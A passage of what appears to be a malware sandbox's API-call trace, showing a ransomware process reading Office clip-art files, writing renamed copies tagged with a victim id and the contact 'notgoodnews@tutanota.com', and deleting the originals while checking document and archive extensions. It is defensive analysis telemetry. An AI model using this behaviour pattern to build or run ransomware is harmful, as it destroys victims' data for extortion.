hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.923] SetEndOfFile (hFile=0x408) returned 1 [0188.923] CloseHandle (hObject=0x408) returned 1 [0188.924] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.924] SetEndOfFile (hFile=0x404) returned 1 [0188.927] CloseHandle (hObject=0x404) returned 1 [0188.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.928] lstrlenW (lpString=".doc") returned 4 [0188.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".docx") returned 5 [0188.928] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0188.928] lstrlenW (lpString=".pdf") returned 4 [0188.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".xls") returned 4 [0188.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.928] lstrlenW (lpString=".xlsx") returned 5 [0188.928] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0188.928] lstrlenW (lpString=".ppt") returned 4 [0188.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.928] lstrlenW (lpString=".zip") returned 4 [0188.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.928] lstrlenW (lpString=".rar") returned 4 [0188.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".bz2") returned 4 [0188.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString=".7z") returned 3 [0188.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.928] lstrlenW (lpString=".dbf") returned 4 [0188.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".1cd") returned 4 [0188.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".jpg") returned 4 [0188.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".doc") returned 4 [0188.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString=".docx") returned 5 [0188.929] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0188.929] lstrlenW (lpString=".pdf") returned 4 [0188.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString=".xls") returned 4 [0188.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.929] lstrlenW (lpString=".xlsx") returned 5 [0188.929] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0188.929] lstrlenW (lpString=".ppt") returned 4 [0188.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".zip") returned 4 [0188.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.929] lstrlenW (lpString=".rar") returned 4 [0188.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString=".bz2") returned 4 [0188.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString=".7z") returned 3 [0188.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".dbf") returned 4 [0188.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.929] lstrlenW (lpString=".1cd") returned 4 [0188.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0188.930] lstrlenW (lpString=".jpg") returned 4 [0188.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.930] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.930] lstrlenW (lpString="J0152702.WMF") returned 12 [0188.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.932] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1208) returned 1 [0188.932] CloseHandle (hObject=0x404) returned 1 [0188.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220 [0188.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.932] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.932] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0188.933] GetLastError () returned 0x0 [0188.933] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4b8, lpOverlapped=0x0) returned 1 [0188.935] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4c0, lpOverlapped=0x0) returned 1 [0188.936] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.936] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.936] SetEndOfFile (hFile=0x408) returned 1 [0188.936] CloseHandle (hObject=0x408) returned 1 [0188.936] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.936] SetEndOfFile (hFile=0x404) returned 1 [0188.938] CloseHandle (hObject=0x404) returned 1 [0188.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.940] lstrlenW (lpString=".doc") returned 4 [0188.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".docx") returned 5 [0188.940] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0188.940] lstrlenW (lpString=".pdf") returned 4 [0188.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".xls") returned 4 [0188.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.940] lstrlenW (lpString=".xlsx") returned 5 [0188.940] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0188.940] lstrlenW (lpString=".ppt") returned 4 [0188.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.940] lstrlenW (lpString=".zip") returned 4 [0188.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.940] lstrlenW (lpString=".rar") returned 4 [0188.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".bz2") returned 4 [0188.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.940] lstrlenW (lpString=".7z") returned 3 [0188.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString=".dbf") returned 4 [0188.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString=".1cd") returned 4 [0188.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString=".jpg") returned 4 [0188.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString=".doc") returned 4 [0188.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString=".docx") returned 5 [0188.941] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0188.941] lstrlenW (lpString=".pdf") returned 4 [0188.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString=".xls") returned 4 [0188.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.941] lstrlenW (lpString=".xlsx") returned 5 [0188.941] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0188.941] lstrlenW (lpString=".ppt") returned 4 [0188.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.941] lstrlenW (lpString=".zip") returned 4 [0188.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.941] lstrlenW (lpString=".rar") returned 4 [0188.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString=".bz2") returned 4 [0188.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.941] lstrlenW (lpString=".7z") returned 3 [0188.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.942] lstrlenW (lpString=".dbf") returned 4 [0188.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.942] lstrlenW (lpString=".1cd") returned 4 [0188.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0188.942] lstrlenW (lpString=".jpg") returned 4 [0188.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.942] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.942] lstrlenW (lpString="J0152704.WMF") returned 12 [0188.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.628] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1652) returned 1 [0189.628] CloseHandle (hObject=0x514) returned 1 [0189.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220 [0189.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.629] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.629] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0189.630] GetLastError () returned 0x0 [0189.630] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x674, lpOverlapped=0x0) returned 1 [0189.632] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x680, lpOverlapped=0x0) returned 1 [0189.638] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.638] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0189.638] SetEndOfFile (hFile=0x408) returned 1 [0189.639] CloseHandle (hObject=0x408) returned 1 [0189.639] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.639] SetEndOfFile (hFile=0x514) returned 1 [0189.642] CloseHandle (hObject=0x514) returned 1 [0189.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0189.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.645] lstrlenW (lpString=".doc") returned 4 [0189.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString=".docx") returned 5 [0189.645] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0189.645] lstrlenW (lpString=".pdf") returned 4 [0189.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString=".xls") returned 4 [0189.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.645] lstrlenW (lpString=".xlsx") returned 5 [0189.645] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0189.645] lstrlenW (lpString=".ppt") returned 4 [0189.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.645] lstrlenW (lpString=".zip") returned 4 [0189.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.645] lstrlenW (lpString=".rar") returned 4 [0189.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString=".bz2") returned 4 [0189.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString=".7z") returned 3 [0189.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.645] lstrlenW (lpString=".dbf") returned 4 [0189.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.645] lstrlenW (lpString=".1cd") returned 4 [0189.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.646] lstrlenW (lpString=".jpg") returned 4 [0189.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.646] lstrlenW (lpString=".doc") returned 4 [0189.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString=".docx") returned 5 [0189.646] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0189.646] lstrlenW (lpString=".pdf") returned 4 [0189.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString=".xls") returned 4 [0189.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.646] lstrlenW (lpString=".xlsx") returned 5 [0189.646] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0189.646] lstrlenW (lpString=".ppt") returned 4 [0189.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.646] lstrlenW (lpString=".zip") returned 4 [0189.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.646] lstrlenW (lpString=".rar") returned 4 [0189.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString=".bz2") returned 4 [0189.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.646] lstrlenW (lpString=".7z") returned 3 [0189.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.647] lstrlenW (lpString=".dbf") returned 4 [0189.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.647] lstrlenW (lpString=".1cd") returned 4 [0189.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0189.647] lstrlenW (lpString=".jpg") returned 4 [0189.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.647] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0189.647] lstrlenW (lpString="J0152876.WMF") returned 12 [0189.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.649] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7876) returned 1 [0189.649] CloseHandle (hObject=0x514) returned 1 [0189.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220 [0189.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.650] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.650] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0189.651] GetLastError () returned 0x0 [0189.651] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0189.653] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0189.655] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.655] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0189.655] SetEndOfFile (hFile=0x408) returned 1 [0189.655] CloseHandle (hObject=0x408) returned 1 [0189.655] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.655] 